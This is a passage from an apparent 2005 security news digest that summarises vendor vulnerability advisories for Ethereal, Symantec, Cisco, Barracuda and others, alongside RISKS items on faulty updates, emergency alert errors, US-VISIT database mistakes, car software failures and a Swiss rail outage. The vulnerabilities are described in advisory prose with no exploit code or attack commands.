The Ethereal dissector for processing CDMA2000 A11 RADIUS authentication packets contains a stack-based overflow. The dissect_a11_radius() function in 'packet-3g-a11.c' copies up to 256 bytes of user-supplied data of a size specified by the user into a 16 byte buffer. A remote user can supply a specially crafted packet to trigger the overflow and potentially execute arbitrary code on the target system. A fix is available via SVN at: <http://ethereal.com/development.html>

<i>Category</i>	<i>21.2</i>	<i>Security product QA failures</i>
2005-03-15		Symantec security vendor product multiple vulnerabilities Domain Name System DNS cache poisoning redirection attack update issued

DHS IAIP Daily; <http://securityresponse.symantec.com/avcenter/security/Content/2005.03.15.html>

SYMANTEC PRODUCTS MULTIPLE VULNERABILITIES

Multiple vulnerabilities are identified in Symantec products (Enterprise Firewall, VelociRaptor, and Gateway Security) that may be exploited by attackers to conduct DNS cache poisoning and redirection attacks. An updated hot fix was released on March 14 that further hardens the DNS for protection against an additional potential vector identified by Symantec engineers. Symantec recommends customers immediately apply the latest hot fix for their affected product versions to protect against this type of threat. Product specific hot fixes are available via the Symantec Enterprise Support site <http://www.symantec.com/techsupp>

<i>Category</i>	<i>21.2</i>	<i>Security product QA failures</i>
2005-03-16		OpenPGP partial plaintext retrieval vulnerability encrypted message recovery design flaw consult vendor

DHS IAIP Daily; <http://www.securityfocus.com/bid/12529/discussion/>

OPENPGP PARTIAL PLAINTEXT RETRIEVAL VULNERABILITY

OpenPGP may theoretically allow attackers to retrieve partial plaintexts from encrypted OpenPGP messages. A cipher text attack method has been developed that exploits a flaw in OpenPGP to retrieve partial plaintexts from OpenPGP messages encrypted with symmetric encryption. Apparently when messages are encrypted with the CFB mode, a design flaw in an integrity check feature can be exploited. Consult your vendor for patch information.

<i>Category</i>	<i>21.2</i>	<i>Security product QA failures</i>
2005-03-28		Symantec security product vulnerabilities denial of service DoS system crash update issued

DHS IAIP Daily; <http://securityresponse.symantec.com/avcenter/security/Content/2005.03.28.html>

MULTIPLE SYMANTEC PRODUCTS HAVE DENIAL OF SERVICE VULNERABILITIES

Two vulnerabilities were reported in Symantec's Norton AntiVirus, Internet Security, and System Works in the AutoProtect feature. A user can create a file or modify a filename to cause the target system to crash. When Auto-Protect was invoked to scan a particular file type, e.g., introduced on a CD, copied and pasted into the system, etc., the resultant scan caused the system to hang and generate a general protection fault error, or BSOD requiring a system reboot to clear. When SmartScan enabled, renaming a file stored on a network share can induce a system crash when the modification kicks off SmartScan. Based on the file write for the name change, SmartScan will be invoked to scan the file, which can result in excess CPU consumption and ultimately a system crash. Updates are available via Symantec LiveUpdate.

<i>Category</i>	<i>21.2</i>	<i>Security product QA failures</i>
2005-04-25		Trend Micro antivirus software update problem Windows XP SP2

DHS IAIP Daily; <http://news.zdnet.co.uk/0,39020330,39196220,00.htm>

TREND MICRO CUSTOMERS SUFFER WEEKEND PROBLEMS

Trend Micro apologized on Monday, April 25, for distributing a faulty software update that caused IT workers around the world to spend the weekend fixing their systems. The Japan-based antivirus company has promised to compensate customers whose computers running Windows XP SP2 were disabled by the update. The company said the update was only available for ninety minutes and caused "certain performance issues" with CPUs. Trend Micro, which denied rumors that the update included a virus, said it didn't know what had caused the incident but that it had now issued a fix and was working with channel partners to solve the problem. Trend Micro said that most of the businesses affected were located in Japan, and that few complaints had been received from customers in the U.S. and Europe. The update affected versions 7.5 and above of Trend Micro's Scan Engine.

<i>Category</i>	<i>21.2</i>	<i>Security product QA failures</i>
2005-05-11		Ethereal network sniffer stack buffer overflow vulnerability update issued
DHS IAIP Daily; http://www.securityfocus.com/bid/13567/info/		
ETHEREAL DISTCC DISSECTION STACK BUFFER OVERFLOW VULNERABILITY		
A remote buffer overflow vulnerability exists in Ethereal due to a failure of the application to securely copy network-derived data into sensitive process buffers. The specific issue exists in the DISTCC protocol dissector. An attacker may exploit this issue to execute arbitrary code with the privileges of the user that activated the vulnerable application. This may facilitate unauthorized access or privilege escalation. The vendor has released Ethereal version 0.10.11 to address this and other vulnerabilities.		
<i>Category</i>	<i>21.2</i>	<i>Security product QA failures</i>
2005-05-11		Cisco Catalyst switches 6500 7600 firewall services module ACL bypass vulnerability update issued
DHS IAIP Daily; http://www.cisco.com/warp/public/707/cisco-sa-20050511-url.s.html		
CISCO — CISCO CATALYST 6500/7600 SERIES FIREWALL SERVICES MODULE ACL BYPASS VULNERABILITY.		
A new vulnerability was identified in Cisco products, which may be exploited by attackers to bypass the security restrictions. A vulnerability exists in the Cisco Firewall Services Module when URL, FTP, or HTTPS filtering is enabled in which inbound TCP packets can bypass access-list entries intended to explicitly filter them. updates available through Source link below.		
<i>Category</i>	<i>21.2</i>	<i>Security product QA failures</i>
2005-05-19		ZENworks remote management authentication validation failure no update issued
DHS IAIP Daily; http://www.zone-h.org/en/advisories/read/id=7524/		
ZENWORKS REMOTE MANAGEMENT FAILS TO PROPERLY VALIDATE AUTHENTICATION		
This authentication protocol contains several stack and heap overflows that can be triggered by an unauthenticated remote attacker to obtain control of the system that requires authentication. Successful exploitation of ZENworks allows attackers unauthorized control of related data and privileges on the machine and network. It also provides attackers leverage for further network compromise. There is no solution at this time.		

<i>Category</i>	<i>21.2</i>	<i>Security product QA failures</i>		
2005-06-30		government surveillance counter-terrorism identification authentication I&A travellers visitors Department Homeland Security DHS errors data integrity correctness Freedom of Information Act FOIA		

EPIC Alert; http://www.epic.org/alert/EPIC_Alert_12.13.html 12 13
US-VISIT PROBLEMS CAUSE VISITOR DELAYS AT PORTS OF ENTRY

The Electronic Privacy Information Center (EPIC) obtained information through the Freedom of Information Act (FOIA) showing that the United States Visitor and Immigrant Status Indicator Technology (US-VISIT) has significant errors in its database, causing "many cases of mistaken identity. Commercial aircrew members, vacationers, and businesspersons have all been delayed by the gaffes. The problems caused unnecessary delays in the visitors' travels and resulted in the improper flagging of crewmembers by government watch lists."

The EPIC summary continues:

>US-VISIT was launched at 115 airports and 14 seaports in January 2004. By the end of 2005, the program will be operational at all of the nations more than 400 ports of entry. US-VISIT requires foreign nationals entering or exiting the country to submit biometric and biographical information. This data collection often begins before a visitor buys her plane ticket, as U.S. Consular offices abroad may, before issuing a U.S. Visa, collect fingerscans from potential visitors and compare them against those in a criminal database. Fingerscans are again collected upon the visitor's arrival in the U.S. For verification and then stored in a government database, as are travelers' arrival and departure records. Failure to be processed through this departure confirmation system could jeopardize a visitor's re-admittance to the U.S., as the government compares the manifest information provided by air and cruise lines to ascertain that visitors have not overstayed their visas.

Last September, US-VISIT expanded to include visitors from the 27 nations who are members of the Visa Waiver Program, thus requiring the screening of an additional 33,000 persons per day. Except for visiting diplomats and officials and persons under 14 or over 79 years old, US-VISIT now applies to virtually all foreign nationals holding nonimmigrant visas, regardless of country of origin.

The documents obtained by EPIC show that some travelers are aware that the US-VISIT database contains erroneous information well before DHS realizes its own mistake and fear that their next visit to the U.S. Will result in misidentification. Visitors reported missing their connecting flights due to errors in the database system, and airline crewmembers reported being delayed up to ninety minutes after a long international flight. Some travelers reported that the operator collecting fingerscans at a port had erroneously reversed their left and right index fingerprints, labeled a husband's fingerprints as his wife's, failed to collect the data required under US-VISIT, or collected data from travelers exempt from the program, such as holders of a G-4 visa.<

<i>Category</i>	<i>21.2</i>	<i>Security product QA failures</i>		
2005-08-01		Emergency Alert System data entry error user interface verification software quality assurance QA design input checking verification hardware problem bug glitch flaw		

RISKS; <http://www.wired.com/news/technology/0,1282,68363,00.html> 23 96
EMERGENCY ALERT SYSTEM ERRORS IN FLORIDA & NEVADA

Kevin Poulson reported in Wired on two errors in the Emergency Alert System (EAS) at the end of July that luckily failed to cause panic.

"The Florida gaffe occurred when an operator at the National Weather Service's Tallahassee forecast office inadvertently entered the code 'RHW' instead of 'RWT,' keying a radiological hazard warning instead of a required weekly test.... Fortunately, it failed to cause panic, in part because the audio accompanying the message still identified it as 'only a test,' and the office moved rapidly to quash the false alarm."

In Las Vegas, radio station "KXTE-FM tried to send out a message canceling an earlier Amber Alert, and instead transmitted an EAN, or emergency action notification -- a special code reserved for the president of the United States to use in the event of a nuclear war or similar extreme national emergency.... The error apparently resulted from a hardware problem in the station's EAS encoder-decoder. 'We think that the internal battery had failed, the programming had scrambled itself,' said [a spokesperson for KXTE]."

<i>Category</i>	<i>21.2</i>	<i>Security product QA failures</i>		
2005-08-03		lightning damage lightning-detection system recursion		
RISKS; http://tinyurl.com/7jf8h			24	01
RECURSIVE LIGHTNING PROBLEMS				

A bit of light-hearted fun at the expense of the lightning-detection folks:

Klaus Johannes Rusch noted this recursive case of vulnerability to what's being monitored:

>Fortunately there were only a few minor injuries when a plane overshot a runway at Pearson International Airport. According to a CBC report ... most operations on the airport had been suspended due to bad weather: "... a spokesperson with the Greater Toronto Airports Authority said lightning was causing technical problems with the airport's lightning-detection system." Why would one expect that lightning-detection systems could cope with lightning?<

Peter G. Neumann chimed in with an amusing recollection of a similar case:

>My favorite meta-lightning event occurred was when I was giving a lecture in my Survivable Systems course at Maryland, and I was talking about the time at Wallops Island where they had several missiles ready to launch because they wanted to study the effects of lightning on the missile controls. As some of you may remember, lightning hit the launch platform and triggered the launching of one of the missiles (which I mentioned most recently in RISKS-20.42). Just at that point in the lecture, lightning hit the lecture room and took down the computer controlling the outfeeds to remote classrooms and our own video monitors. Some of the students wondered how I had managed such a theatrical effect.<

<i>Category</i>	<i>21.2</i>	<i>Security product QA failures</i>		
2005-08-06		vulnerability hole Acunetix Web Scanner remote denial-of-service DoS sniffer		
DHS IAIP Daily; http://www.securityfocus.com/bid/14488/info				
ACUNETIX WEB VULNERABILITY SCANNER REMOTE DENIAL OF SERVICE VULNERABILITY				

Acunetix Web Vulnerability Scanner is affected by a remote denial of service vulnerability. This issue affects the Web sniffer component of the application. An attacker can exploit this issue by gaining control of a server through some means or by sending spoofed traffic to the network. A successful attack can result in a denial of service condition due to resource exhaustion. Acunetix Web Vulnerability Scanner version 2.0 is affected. Other versions may be vulnerable as well. Security Focus is not currently.

<i>Category</i>	<i>21.2</i>	<i>Security product QA failures</i>		
2005-08-22		vulnerability Cisco intrusion prevention system IPS privilege escalation update issued		
DHS IAIP Daily; http://www.cisco.com/warp/public/707/cisco-sa-20050824-ips.s.html				
CISCO INTRUSION PREVENTION SYSTEM VULNERABLE TO PRIVILEGE ESCALATION				

Cisco Intrusion Prevention Systems (IPS) are a family of network security devices that provide network based threat prevention services. A user with OPERATOR or VIEWER access privileges may be able to exploit a vulnerability in the command line processing (CLI) logic to gain full administrative control of the IPS device. Vulnerable products are Cisco Intrusion Prevention System version 5.0(1) and 5.0(2). This issue is fixed in IPS version 5.0(3) which is available for download:
<http://www.cisco.com/pcgi-bin/tablebuild.pl/ips5>

<i>Category</i>	<i>21.2</i>	<i>Security product QA failures</i>
2005-08-22		vulnerability hole Cisco IDS Management Software SSL Certificate validation bypass security restrictions Service Pack

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/1497>

CISCO IDS MANAGEMENT SOFTWARE SSL CERTIFICATE VALIDATION VULNERABILITY

A vulnerability was identified in CiscoWorks Management Center for IDS Sensors (IDSMC) and Monitoring Center for Security (Security Monitor or Secmon), which could be exploited by remote attackers to bypass the security restrictions. This flaw is due to an error in the SSL certificate checking functionality that does not properly validate SSL certificates, which could be exploited by attackers to spoof an IDS or IPS and then gather login credentials, submit false data, and filter legitimate data from. Products affected are IDSMC version 2.0 and 2.1, and CiscoWorks Monitoring Center for Security (Security Monitor or Secmon) version 1.1, 2.0 and 2.1. This vulnerability has been addressed in Service Pack 1 for IPSMC 2.1 and Security Monitor 2.1: <http://www.cisco.com/pcgi-bin/tablebuild.pl/mgmt-ctr-ids-app>

<i>Category</i>	<i>21.2</i>	<i>Security product QA failures</i>
2005-08-31		insider theft security identification authentication I&A piggybacking overwork disgruntled employees trial judgement theft fraud

RISKS; <http://archiv.tagesspiegel.de/archiv/31.08.2005/2022942.asp#art> (in German)

24

03

GERMAN INSIDER-THEFT CASE ILLUSTRATES AWFUL SECURITY

Social services have a money machine set up in which, when a client is given money, instead of having it transferred to their account, a chip card is selected, and the number of the card typed into a computer program that controls payouts. The client takes the card to an ATM-like money machine, puts the card in, key is the secret password which is [I hope you are sitting down ... --dww] the *birthday* of the client, and takes out the money. A camera films the transaction, but erases the tapes about 6 weeks later.

The program records the payout in the files of the client, and only people with proper passwords have access to the payout system. This is called security.

About 27.000 Euros (about the same in dollars these days) disappeared about 2 years ago. The revision department nailed down 22 transactions that had been conducted without an entry in the files of a client, and the clients knew nothing of the windfalls.

The accused kept his mouth shut during the process, and it was uncovered that the cards were not kept track of and "flew around the offices", people would log onto their payout computers and remain logged in all day, sometimes leaving the office without locking the door. It would have been trivial for a colleague to quickly use a computer to load up a card, then slip it to an accomplice and have them pick up the cash. In addition, everyone seemed to know everyone else's passwords...

The defence lawyer also noted that the social workers were all mad about the extra work they had to do about the new German dole system, so it really could have been anyone.

Berlin remains out the 27.000 Euros and has to pay court costs, the accused keeps his job (but was transferred, probably to the filing room), and the judge recommends they re-think the security of the payout system. I'm with the judge on this one!

[Abstract by Debora Weber-Wulff]

<i>Category</i>	<i>21.2</i>	<i>Security product QA failures</i>
2005-08-31		vulnerability Symantec AntiVirus Corporate Edition local information disclosure no patch issued

DHS IAIP Daily; <http://www.securityfocus.com/bid/14708/info>

SYMANTEC ANTIVIRUS CORPORATE EDITION LOCAL INFORMATION DISCLOSURE VULNERABILITY

Symantec AntiVirus Corporate Edition is susceptible to a local information disclosure vulnerability. Sensitive information such as the server name, IP address, subnet, subnet mask, connection protocol, username and password to access the LiveUpdate server are logged in a plain text file. A local attacker can subsequently access the file and disclose authentication credentials to access the server. This may lead to various attacks including the potential compromise of the server. Security Focus is not currently aware of any vendor-supplied patches for this issue.

<i>Category</i>	<i>21.2</i>	<i>Security product QA failures</i>
2005-09-05		vulnerability Barracuda Spam Firewall remote directory traversal code execution update issued

DHS IAIP Daily; <http://www.securiteam.com/securitynews/5OP031FGVU.html>

VULNERABILITY IN BARRACUDA SPAM FIREWALL

A remote Directory Traversal and Remote Execution vulnerability exist in Barracuda Spam Firewall appliance from Barracuda Networks. In the script "/cgi-bin/img.pl", used to show graph, the value of the "f" (filename) parameters is not sanitized. No authentication is required to exploit this remote vulnerability Barracuda Spam Firewall firmware v.3.1.16 and v.3.1.17 are affected. Other vulnerabilities exist in the advance utilities section but administrative privileges are needed. Firmware update 3.1.18 fixes this issue (3.3.* is also safe).

<i>Category</i>	<i>21.2</i>	<i>Security product QA failures</i>
2005-09-07		vulnerability Cisco IOS firewall authentication proxy FTP telnet sessions buffer overflow workarounds

DHS IAIP Daily; http://www.cisco.com/warp/public/707/cisco-sa-20050907-auth_proxy.shtml

CISCO IOS FIREWALL AUTHENTICATION PROXY FOR FTP AND TELNET SESSIONS BUFFER OVERFLOW

The Cisco IOS Firewall Authentication Proxy for FTP and/or Telnet Sessions feature in specific versions of Cisco IOS software is vulnerable to a remotely-exploitable buffer overflow condition. Only devices running certain versions of Cisco IOS® are affected. Cisco has made free software available to address this vulnerability. There are workarounds available to mitigate the effects of the vulnerability.

<i>Category</i>	<i>21.2</i>	<i>Security product QA failures</i>
2005-09-07		vulnerability Symantec Brightmail AntiSpam denial-of-service DoS antivirus scanning

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/1660>

SYMANTEC BRIGHTMAIL ANTISPAM DENIAL OF SERVICE VULNERABILITIES

Two vulnerabilities were identified in Symantec Brightmail AntiSpam, which could be exploited by remote attackers to cause a denial of service. The first flaw is due to an unspecified error in the antivirus scanning and cleaning procedures that do not properly handle deeply nested zip files, which could cause the application to process messages for an extended period of time. The second vulnerability is due to an unspecified error in the decomposer that does not properly handle "winmail.dat" objects embedded in MIME files, which could cause the application to crash.

<i>Category</i>	<i>21.2</i>	<i>Security product QA failures</i>
2005-09-26		vulnerability Cisco Security Advisory IOS firewall authentication proxy FTP telnet sessions buffer overflow

DHS IAIP Daily; http://www.cisco.com/warp/public/707/cisco-sa-20050907-auth_proxy.shtml

CISCO IOS FIREWALL AUTHENTICATION PROXY FOR FTP AND TELNET SESSIONS BUFFER OVERFLOW

The Cisco IOS Firewall Authentication Proxy for FTP and/or Telnet Sessions feature in specific versions of Cisco IOS software is vulnerable to a remotely exploitable buffer overflow condition. The vulnerability is in the Cisco IOS Firewall Authentication Proxy feature which allows network administrators to apply specific security policies on a per user basis. Cisco IOS Software is vulnerable to a Denial of Service (DoS) and potentially an arbitrary code execution attack when processing the user authentication credentials from an Authentication Proxy Telnet/FTP session. To exploit this vulnerability an attacker must first complete a TCP connection to the IOS device running affected software and receive an auth-proxy authentication prompt.

Category 21.2 Security product QA failures
2005-10-13 **automated teller machines ATM banking denial of service DoS failure software quality assurance input error QA design testing**

RISKS; <http://www.nu.nl/news.jsp?n=603834&c=122&rss> (in Dutch) 24 07
UNLUCKY SEVEN

The Dexia Bank ATM machines are experiencing a curious problem. The machines stop functioning when someone enters the number 7, making it impossible for people with a 7 in their pin (personal identification number) code to perform a cash withdrawal.

The problem has been occurring for a month. To prevent people from running out of cash, they are able to perform cash withdrawals inside. "We are experiencing a problem with the software", a Dexia spokesman admitted last Wednesday in the daily journal Het Laatste Nieuws, "the problems should be solved within three weeks."

[Abstract by Lindsay Marshall]

[MK comments: THREE WEEKS?!?]

Category 21.2 Security product QA failures
2005-11-11 **vulnerability Kerio WinRoute firewall disabled account authentication denial-of-service DoS**

DHS IAIP Daily; <http://www.securitytracker.com/alerts/2005/Nov/1015194.html>

KERIO WINROUTE FIREWALL MAY LET USERS OF DISABLED ACCOUNTS AUTHENTICATE TO THE SYSTEM

A vulnerability was reported in Kerio WinRoute Firewall. A remote previously authorized user may be able to authenticate. A remote user may be able to authenticate to the system even if their account has been disabled. The firewall does not properly process certain RTSP streams. A remote user may be able to cause denial of service conditions. The vendor has issued a fixed version (6.1.3): www.kerio.com/kwf_home.html

Category 21.2 Security product QA failures
2005-12-03 **vulnerability Cisco OpenSSL protocol negotiation man-in-the-middle attack**

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/2710>

CISCO PRODUCTS OPENSSL INSECURE PROTOCOL NEGOTIATION VULNERABILITY

A vulnerability has been identified in various Cisco products, which could be exploited by attackers to bypass certain security restrictions. This issue is due to an error in the "SSL_OP_MSIE_SSLV2_RSA_PADDING" option of OpenSSL that does not properly reject SSL 2.0 sessions when a client supports SSL 3.0 or TLS 1.0, which could be exploited by malicious people to conduct MITM (Man in the Middle) attacks and force a client and a server to negotiate the SSL 2.0 protocol instead of SSL 3.0 or TLS 1.0.

Category 21.2 Security product QA failures
2005-12-22 **McAfee VirusScan privilege escalation vulnerability arbitrary applications quoted paths attackers VirusScan Symantec**

DHS IAIP Daily; <http://www.securityfocus.com/bid/16040/references>

McAfee VirusScan path specification local privilege escalation vulnerability.

McAfee VirusScan is prone to a vulnerability that could allow an arbitrary file to be executed. The 'naPrdMgr.exe' process calls applications without using properly quoted paths. Successful exploitation may allow local attackers to gain elevated privileges. Solution: It has been reported that McAfee VirusScan Enterprise 8.0i patch 12 is not vulnerable to this issue. This could not be confirmed by Symantec.

Category 21.2

2005-12-22

Security product QA failures

Symantec vulnerability impacts products detection exploits patches code programs bug security RAR compressed files utility titles products Library Norton Internet Security SystemWorks Firewall Symantec

DHS IAIP Daily; <http://www.securitypipeline.com/news/175007890;jsessionid=2A>
K0KWQB2SDV0QSNDBCSKH0CJUMEKJVN

Symantec says vulnerability impacts 63 products.

Symantec on Wednesday, December 21, named more than 60 of its products as affected by the critical vulnerability disclosed earlier this week, and said it was pushing out a "heuristic" detection that would spot potential exploits. However, no patches have yet been released. The number of impacted products was among the largest ever for a single vulnerability, and demonstrated the risk of reusing code in a large group of programs. The bug, which was made public Tuesday, December 20, by researcher Alex Wheeler, is in how Symantec's AntiVirus Library, part of virtually all the Cupertino, CA-based security giant's programs, handles RAR compressed files. RAR files are created by the WinRAR compression utility, developed and sold by RarLab. In an advisory released Wednesday, Symantec listed 48 enterprise titles and 15 consumer products that used the flawed Library. On the consumer side, the 2006 versions of Norton AntiVirus, Internet Security, SystemWorks, and Personal Firewall are open to attack. Corporate titles such as Norton AntiVirus for Microsoft Exchange, BrightMail Antispam, and AntiVirus for Handhelds are also on the list. The only protection for the moment is a special detection capability that Symantec is downloading to users' systems.

Category 21.2

2005-12-27

Security product QA failures

Bugzilla unsafe temporary files gain privileges script temporary files symbolic link critical created overwritten bug tracking vulnerability Security Tracker pending

DHS IAIP Daily; <http://www.securitytracker.com/alerts/2005/Dec/1015411.html>

Bugzilla 'syncshadowdb' unsafe temporary files may let local users gain elevated privileges.

A vulnerability was reported in Bugzilla in the 'syncshadowdb' script wherein a local user can obtain elevated privileges. The 'syncshadowdb' script uses temporary files in an unsafe manner. A local user can create a symbolic link (symlink) from a critical file on the system to a temporary file to be used by the script. Then, when the script is executed by the bug tracking system, the symlinked file will be created or overwritten with the privileges of the bug tracking system. The vulnerability can enable a local user to obtain the privileges of the bug tracking system. The vulnerability affects Version(s): 2.6.10 and prior versions. Versions 2.18.* and 2.20.* are not affected. Security Tracker reports that the fix will be included in the pending 2.16.11 version but a solution is currently available. Solution: https://bugzilla.mozilla.org/show_bug.cgi?id=305353

21.3 Embedded processors

Category	21.3	Embedded processors
2005-07-20		embedded control systems automobile safety shutoff flaw error damage emergency design override

RISKS	23	95
-------	----	----

DOES THE PROGRAMMER ALWAYS KNOW BEST?

Bob Paddock reported in RISKS that his Chrysler Voyager van seems to have been damaged by lightning recently and illustrated a design flaw that affects many other software and firmware systems: the assumption that users are complete idiots who cannot be trusted to override an automated decision no matter what the circumstances.

>Got the van out Friday night. I pulled out of the garage and as soon as I hit the road the Check Engine Light came on and the speedometer dropped to zero, as I continued to gain speed, going up the hill. The automatic transmission was now stuck in 1st-gear. I turned around a few driveways up the street and went back to the house. Made appointment to take it in for servicing the next morning.

Dealer is about four miles down the street. Limped along in 1st-gear to the dealer the next morning until we reached the only major four way intersection in this four mile gauntlet.

Right in the middle of the intersection the engine died like I turned the key off. A good Samaritan pushed the van off the road. The dealer came and towed the van for the last mile of the trip.

The dealer said that a tachometer feedback sensor had gone bad "and the van didn't know what speed it was going so it shut down to be safe".

Now for the Us vs Embedded part of the story: Isn't it sufficient that *I* knew stopping in the middle of a busy four way intersections was a Really Bad Thing to do? *It* thought it knew better than I did.

I'm really glad I did not have to cross any railroad tracks when *it* decided to stop on the crossing because it thought it was safe, rather than listen to my commands.<

* * *

In followup comments in RISKS 23.96, Michael Kohne warned that the dealer's hypothesis might be unfounded -- the reasons for the engine shutdown could have been something else entirely. Or perhaps "Another alternative is that he doesn't mean 'safe' the way you mean safe. He means 'it shut the engine down as an alternative to revving up until it explodes'. Because I guarantee that if the van's CPU let a bad sensor destroy the engine you'd be plenty po'd, and you'd probably be screaming even louder."

<i>Category</i>	<i>21.3</i>	<i>Embedded processors</i>
2005-08-13		system design flaw identification authentication I&A failure collision automobile security
RISKS		24
SINGLE-STATE AUTOMATON*		03

Last week I watched the chauffeur of a Mercedes car. There was a parking spot left just in front of another Mercedes. Both different types, though fairly new. As I watched by the chauffeur got out of her car and pushed the button on the remote control to close the doors.

The system worked. The doors of the Mercedes closed. The already parked Mercedes responded with a happy 'click' and opened its doors. The chauffeur, confident the click was her car telling everything was fine, didn't pay attention, until I pointed her to the fact that she opened the other Mercedes.

She tried several times. When her car opened the other one closed. And vice versa. But she didn't see it as a problem, she could close the doors of her car and walk away. Until I pointed out the system probably worked the other way round as well

[Abstract (lightly edited by MK) from Leon Kunders]

* MK explains: a "single-state automaton" is a device that can be either on or off and cycles between the states without memory. For example, an elevator call-button is a single-state automaton: pressing it multiple times once it is on does nothing to increase the speed of the elevator.

21.4 SCADA (supervisory control and data acquisition) systems, vehicle controls

Category 21.4 *SCADA (supervisory control and data acquisition) systems, vehicle controls*
2005-02-08 **car virus embedded computers prediction**

NewsScan; http://news.com.com/A+virus+may+be+in+your+cars+future/2100-7349_3-5568633.html

NEW STUDY WARNS OF CAR VIRUSES

A report by IBM Security Intelligence Services predicts that viruses spreading to mobile phones, PDAs and wireless networks could infect the embedded computers that increasingly are used to run basic automobile functions. The average new car runs 20 computer processors and about 60 megabytes of software code, raising more opportunities for malfunctions. In addition to the threat facing vehicles, the report noted the fastest growing threat last year was phishing -- a method of deceiving computer users into revealing personal information -- and predicted that activity would grow more serious in 2005. (Reuters/CNet.com 8 Feb 2005)

Category 21.4 SCADA (supervisory control and data acquisition) systems, vehicle controls

2005-02-13 software engineering quality assurance QA safety-critical cell-phones mobile Bluetooth virus infection economics damages lawsuits reliability

RISKS 23 72

INFECTING CARS VIA CELL PHONES -- CONT'D

Peter Ladkin reported on a mild brouhaha about the possibility that Bluetooth-enabled car-control systems might be susceptible to damage from viruses infecting or transmitted via cell-phones. He determined that the original reports (including one in RISKS 23.70) may have been stimulated by a discussion with anti-virus expert Eugene Kaspersky, who discussed theoretical possibilities of infecting car systems in response to specific questions from a reporter.

Ladkin mentioned a cute cartoon he saw in which "A passenger is sitting in an airliner using his laptop, and on the screen appears: Bluetooth: new device found: Airbus A310." He then analyzed the economics of critical failures in automobiles and pointed out how unreliable software tends to be. Given how safety-critical car-control systems are, and given the massive costs of customer damage claims, he commented, "So there is plenty of motivation to make auto critical electronics the most dependable SW-based systems the world has ever seen. We are a long way from it, but I don't think we are going to be seeing critical systems upgraded through gratuitously insecure channels. Except for the exceptions, of course."

He concluded, "If I were to bet today, I'd bet on the cartoon staying a cartoon."

Category 21.4 *SCADA (supervisory control and data acquisition) systems, vehicle controls*
2005-02-14 **quality assurance QA response error tolerance missile interceptor communications failure**

RISKS; <http://www.cnn.com/2005/TECH/01/12/missile.defense.ap/index.htm> 23 66

MISSILE FAILS TEST? CHANGE THE RULES.

Jeremy Epstein commented on the DoD's response to errors in the missile interceptor system:

As has been widely reported, the DoD's missile interceptor test failed miserably in December [2004], building on a rather impressive history of failures. According to Pentagon brass, the problem was "with an automated pre-launch check of the communications flow between the interceptor and the main flight control computer. Detecting too many missed messages, the system shut down automatically, as designed. [so] the Pentagon will increase the pre-launch tolerance for missed messages. [General] Obering said the tolerance level was set too low; increasing it will not risk a flight guidance failure".

Well, that makes me feel better. The system ran into problems, so it generated errors. Rather than figuring out what the problem was, let's ignore the errors. Not unlike turning up the radio in your car so you can't hear it falling apart.

The general went on to say "Statistically, it's a very rare occurrence and most likely would not happen again."

Gee, I feel safer every minute.

* * *

In RISKS 23.72 he reported on yet another failure:

MISSILE INTERCEPTOR DOESN'T EVEN LEAVE ITS SILO -- AGAIN

As reported in RISKS 23.65 and 23.66, the Dec 15 test of the missile interceptor system failed when it didn't lift off from the launchpad due to a timing problem.

The 14 Feb test didn't do any better. CNN reports that "a spokesman for the [Missile Defense] agency, Rick Lehner, said the early indications was that there was a malfunction with the ground support equipment at the test range on Kwajalein Island in the Marshall Islands, not with the missile interceptor itself. If verified, that would be a relief for program officials because it would mean no new problems had been discovered with the missile."

That's good news?

In case you're keeping score, that's 6 failures out of 9 attempts since the program started. And the three "successes" have been highly scripted.

Your tax dollars at work (at least for Americans).

<i>Category</i>	<i>21.4</i>	<i>SCADA (supervisory control and data acquisition) systems, vehicle controls</i>
2005-05-17		automobile control systems engine failure shutdown speed safety software quality assurance QA

RISKS; <http://tinyurl.com/9u6pt>(subscribers only); <http://tinyurl.com/dov9m> 23 87
SOME PRIUS CARS SHUT DOWN AT SPEED

Peter G. Neumann summarized an article about an upsetting software error:

The U.S. National Highway Transportation Safety Administration has 13 reports of Toyota's Prius gas-electric hybrid cars (2004 and early 2005) stalling or shutting down at highway-driving speeds, which Toyota attributes to software problems.

The original article by Sholnn Freeman from the Wall Street Journal included this text:

>Toyota spokesman Sam Butto said the auto maker identified a "programming error" in the computer systems of 23,900 Prius cars last year. He said that last May Toyota sent owners of those cars service warnings telling them to go to their dealerships for a software upgrade. But he said he wasn't sure how many people went in to receive the hour-long fix.

He and another Toyota spokesman said the auto maker isn't sure if the latest problems associated with 2004 Prius models involve buyers who never got the upgrade or if an altogether different glitch is shutting the car down.<

Edwin Slonim commented in RISKS:

I have always feared losing power, brakes and steering at high speed - with a helpful dashboard indication of "internal error 687, please reset". Looks like it is starting to happen. Of course we need to put this into proportion - how many cars stall at high speed with a fuel blockage, or swerve with a blowout.

<i>Category</i>	<i>21.4</i>	<i>SCADA (supervisory control and data acquisition) systems, vehicle controls</i>
2005-06-23		denial of service DoS power electricity failure railway paralysis human safety temperature air conditioning single point of failure systems engineering fault tolerance

RISKS 23 92
SINGLE POINT OF FAILURE PARALYZES SWISS RAILSYSTEM FOR 3 HOURS

On 22 Jun 2005 at 5.08pm, a power short occurred between Amstet (Canton Uri) and Rotkreuz (Canton Zug, which in German means "train") on the Swiss train line. The SBB (Schweizerischen Bundesbahnen) operated their own power lines, and this short circuit caused a sharp drop in voltage, which quickly spread throughout the ENTIRE country of Switzerland.

Trains were stalled in the middle of nowhere, with no air conditioning in the heat of the summer. Some train doors could not be opened. More than 200,000 passengers were affected. It took about two hours to get everyone out of the trains. SBB used busses to transport stranded passengers and diesel locomotives to drag trains to the nearest station.

It took two more hours before enough power was restored in order for the trains to begin moving. But the efficient Swiss worked all night moving trains so that everything moved rather smoothly the next day.

There were allegedly no computers involved, but the single point of failure was a vivid illustration of many RISKS concepts, not the least of which is: don't throw out those diesel locomotives yet!

[Report from Debora Weber-Wulff]

Anthony Thorn added:

>My concern --and arguably the risk-- is the impact of such an incident on passenger trains in the new Gotthard "base"-tunnel which will open in 2011. This will be 57 Km (35 miles) long and run at depths up to 2000 meters (7000 feet) which means that the tunnel temperature will exceed 45 C. (113 F). If a train is stopped in the tunnel a very rapid response would be required to avoid a catastrophe.<

<i>Category</i>	<i>21.4</i>	<i>SCADA (supervisory control and data acquisition) systems, vehicle controls</i>
